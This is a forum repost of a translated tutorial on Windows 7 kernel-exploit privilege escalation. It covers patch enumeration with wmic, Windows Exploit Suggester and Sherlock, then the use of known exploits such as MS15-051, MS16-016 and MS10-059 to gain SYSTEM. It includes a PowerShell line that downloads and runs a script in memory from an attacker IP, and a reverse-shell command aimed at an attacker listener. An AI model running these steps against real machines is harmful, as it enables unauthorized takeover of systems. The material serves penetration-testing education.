Windows 提权-内核利用_1

打印 上一主题 下一主题

主题 653|帖子 653|积分 1959

本文通过 Google 翻译 Kernel Exploits Part 1 – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释增补。
导航

0、前言

由于 Windows 内核利用的信息量比较大,故将本篇文章分成了两个部分。
在第一部分内容中,我们将介绍如安在旧版 Windows 系统中进行内核利用。
我们从打了最少补丁的 Windows 7 机器开始测试,然后使用各种检测内核利用的方法去枚举它轻易受到哪些内核漏洞的攻击。在找到埋伏漏洞后,我们将测试相应的漏洞利用,看看它们是如何工作的。在测试漏洞利用期间,我们将看到 6 个测试示例,它们展示了如何从 GUI、从反向 shell 和使用 Metasploit 的方式去提升平凡权限到 SYSTEM。
注:文中出现了较多的“内核漏洞”和“内核利用”等字眼,因此有必要搞清二者之间的关系。其实内核利用是内核漏洞的实例,漏洞是一个概念,漏洞利用是实践。
1、旧版 Windows 系统内核利用

Windows 内核利用按照 OS 版本又可以分为两个类:旧版 Windows 系统、新版 Windows 系统。其中 Windows 10/Server 2016/Server 2019/ 其它更新版本 都称为新版 Windows 系统,而在此之前的 Windows XP/7/Server 2008/Server 2012/其它更旧版本 都称为旧版 Windows 系统。
对于本文,我们将研究旧版 Windows 系统的内核利用,测试机器是仅安装了一个补丁的 Windows 7 SP1 7601。
2、搜寻内核漏洞

在此示例中,假设我们已经在 Windows 7 机器上获得了标准用户 bob 的身份。

2.1、枚举内核利用 - 手动

在枚举内核漏洞利用前,我们首先要做的是使用 systeminfo 命令查看系统的信息,其中重点关注 操作系统版本、架构,以及最关键 HotFixes(KB)这些信息。

从上面可以看到,该主机是 Windows 7 Pro – SP1 7601 – x86 (32-bit) 系统,同时该主机只有一个补丁。
为了收集有关补丁的更多信息,可以使用以下 wmic 命令:
  1. wmic qfe get Caption,Description,HotFixID,InstalledOn
复制代码

由于微软给每个内核漏洞都起了一个名称作为标识,而名称中又包括发现漏洞的年份,因此补丁的发布日期很值得注意。【比方 MS10-059(2010)表现该漏洞是在 2010 年的第 59 个安全公告中发布的,而该公告确切的发布时间是2010年8月10日。】
注意:补丁的发布日期和通过 wmic 发现的补丁安装时间可不是同一回事,作者的意思应该是根据补丁 KB 号码去查找该补丁实际的发布时间,然后根据这个时间去排除这个日期范围内的内核漏洞利用步伐【因为补丁和漏洞的披露通常来说是先发补丁后发漏洞或同时发布,当然这也不绝对。】。比方,补丁如果是2000年发布的,那么2000年之后的系统漏洞就是可以被利用的。当然如果补丁的安装时间是在2000年,那么这个漏洞肯定是在2000年或2000年之前发布的,那么使用2000年之后的漏洞大概率也是有用的。
从这里,我们可以开始分析系统安装有哪些补丁,然后搜索 KB 号,以确定由于该补丁而无法使用的内核利用。
这种手动枚举的方式对于安装了少量的补丁来说,效果很好。但是,如果安装了几百个补丁, 那手工的方式显然就不再适合了。
2.2、枚举内核利用 - 自动

有两个工具可以很好地枚举旧版 Windows 系统的内核利用,第一个是Windows Exploit Suggester 2,第二个是 sherlock.ps1。
这两种工具的工作原理都是将受害者已安装的补丁与这些补丁库中已打补丁的漏洞列表进行交叉引用。以此为底子,这些工具将从输出中排除已打补丁的漏洞,只提供主机未打补丁的漏洞。
在测试内核利用时,使用自动工具有助于消除大部分猜测。【注:当然工具也会存在遗漏的情况。】
2.2.1、Windows Exploit Suggester 2

使用的第一个工具是 Windows Exploit Suggester 2,它是一个 Python 脚本。在攻击者机器上使用此脚本前,我们需要先获取受害者机器上的 systeminfo 系统信息,以及补丁库的文件。

现在,我们已经准备好了受害者的系统信息 txt 文件,还可以更新补丁库 XLS 文件,以确保补丁列表是最新的。不外,由于这是一个只安装了一个补丁的旧操作系统,因此不需要更新补丁库文件,因为 2021 年 4 月前的补丁库已经足够满足当前的需要了。
可以使用以下命令运行 Windows Exploit Suggester:
  1. ./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt
复制代码

输出内容有很多,但大部分信息对我们来说并没有用。同时,该工具还提供了一个标识说明(E|M|*),以告诉我们对应的系统漏洞是否有二进制或 Metasploit 模块可供使用。
于是,我们就可以根据提供的标识进行内容过滤,让其只筛选出我们感兴趣的信息,这些信息通常包含有 [M]或[E]或“Elevation of privileges”字段。
  1. ./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt | grep "\[M\]\|\[E\]" | grep "Elevation"
复制代码

终极,我们得到了一个可供测试的漏洞清单。
2.2.2、Sherlock.ps1

Sherlock 是一个 PowerShell 脚本,可快速找到用于本地特权提升的漏洞利用。
Sherlock(夏洛克)已经被弃用约莫 5 年了,并且也是从当时起就被Watson.exe(华生)所取代,Watson.exe 是一个用于枚举新版 Windows OS'(10/2016/2019)的工具,我们将在这篇文章的第二部分中看到它。
回到 Sherlock,我们可以利用 Sherlock 在旧版 Windows 系统上枚举内核漏洞。而当前正处在 Windows 7 机器上,因此这个工具对我们来说非常适合。
现在,在 Sherlock.ps1 脚本底部附加以下命令,以便脚本的枚举漏洞功能可以被自动执行:
  1. echo "Find-AllVulns" >> Sherlock.ps1
复制代码

Perfect!现在,我们可以将 sherlock.ps1 下载到受害者磁盘上,然后执行该脚本。或者可以开启 HTTP 服务器,然后将脚本直接下载到内存中进行执行。
我们使用后一种,先在攻击机开启 HTTP 服务器:
  1. python3 -m http.server 80
复制代码
然后在受害者机器上,执行以下 IEX 命令将脚本从攻击者盘算机直接下载到内存中执行:
  1. powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Sherlock.ps1')"
复制代码

Sherlock 会根据已安装的补丁步伐,提取所有大概存在的漏洞。同时,它还会进一步告诉你系统是否轻易受到该漏洞的攻击。
3、使用内核利用

现在,我们已经知道了该如何枚举内核漏洞利用,接下来就可以根据枚举出来的漏洞利用去该仓库查找可用的利用步伐以进行测试。
内核利用列表中,你会发现大多数利用步伐都会以 SYSTEM 的身份生成一个新的 cmd.exe 实例。固然这很好,但只有我们在 GUI 图形化界面来查看 shell 的情况下才实用。但幸运的是,很多利用都支持“就地”提升或产生反向 shell,因此在实际测试这些利用时会同时展示这两种情况。
现在,让我们通过图形化界面和反向 shell 测试一些漏洞,看看两者有什么差别。
3.1、使用内核利用 - GUI

假设我们在最初的枚举中找到了用户 bob 的凭据,同时发现 RDP 开放且bob 还是远程桌面用户组的一部分。然后,我们乐成地通过 RDP 访问了该主机。
由于在内核利用列表上的大多数利用步伐都会产生 cmd.exe 的新实例,因此当我们可以使用主机的图形化界面时,内核利用会非常简朴。
示例0】比方,从 Suggester 和 Sherlock 的输出来看,同时在两款工具中都出现的漏洞有 MS15-051 和 MS16-016。
因此,我们可以在内核利用列表中优先查抄它俩是否被列出。

可以看到,两个漏洞都被列出了。现在,让我们只下载 MS15-051 然后将其发送给受害者。
MS15-051 的预编译二进制文件被称为 Taihou32.exe,但在将其转移给受害者之前,我先将其重命名为 MS15-051.exe。

现在,当运行可执行文件时,新的 shell 以 SYSTEM 身份产生了!

就这么简朴!
3.2、使用内核利用 - Reverse Shell

上面我们只是看到了如何轻松地从 GUI 获得 SYSTEM shell,但通常我们是没有 GUI 访问权限的。
幸运的是,有不少漏洞利用步伐可以通过反向 shell 运行,或“就地”提升至 SYSTEM。这意味着漏洞利用者可以在当前会话中直接升级到 SYSTEM,而无需再生成第二个 cmd 窗口。
示例1】首先,让我们查抄一下在 Sherlock 和 Suggester 上出现的第二个漏洞:MS16-016。
我们先获取此利用步伐,然后将其传输到受害者机器上。

MS16-016 的预编译二进制文件被称为 eop.exe,但在将其转移给受害者之前,我先将其重命名为 MS16-016.exe。
需要注意的是,MS16-016 二进制步伐是需要 ShellCode.dll 文件才能工作。因此,我们要将两个文件转移到受害者机器。

现在,我们可以执行 MS16-016.exe。

Amazing!在当前的会话中,我们得到了一个 SYSTEM shell。
由于我们对这种内核漏洞利用(即“就地”提升)最感兴趣,所以让我们再看看另外两种内核漏洞利用,它们也可以被用来做同样的事情。
这次,我们将看到一个在 Sherlock 和 Suggester 扫描中均未出现的漏洞,它就是:MS11-046。
既然该漏洞没有在任何一种工具的输出中出现,那为什么还要去尝试一下呢?因为我们可以看到,当运行 wmic 命令时,已安装日期显示的是 2010年11月,也就是说这个补丁在2010年11月前就已经发布了,这也意味着任多么于或大于 MS11 的漏洞利用都值得我们去尝试。【注:根据补丁安装日期去判定漏洞的做法固然不是很准确,但在无有用解法之前也是值得去尝试的。】
示例2】因此,让我们测试它!


BOOM!我们得到了另外一个 SYSTEM shell。
示例3】接下来,我们开始另一个例子。可以看到,在 Suggester 的输出中显示 MS14-040.exe 可以被使用。

当执行这个利用的时候,它会被挂起。当我们等待约莫 20 秒,然后按两次回车键,就会得到 SYSTEM shell。

示例4】最后一个例子在当前这台 win7 机器上不存在漏洞,但它也是一个很好的内核漏洞,那就是 MS10-059 或 "Chimichurri"。
注:下面的示例是在 hackthebox 的盒子上进行的。
将漏洞利用步伐传输给受害者之后,我们可以尝试直接运行它以查看其命令用法:

这个利用步伐会向攻击者的机器推送一个反向 shell,这与我们刚才看到的“就地”提升示例有些差别。这意味着我们需要在攻击者机器上启动一个 netcat 监听器。
  1. .\MS10-059.exe 10.10.14.6 9999
复制代码

执行命令后会出现一条很令人高兴的提示信息。然后回到监听器后,我们收到了一个 SYSTEM shell!

<blockquote>
我给你举了 4 个例子,但还有很多从反向 shell 运行的例子需要你自己去发现去测试
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

李优秀

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表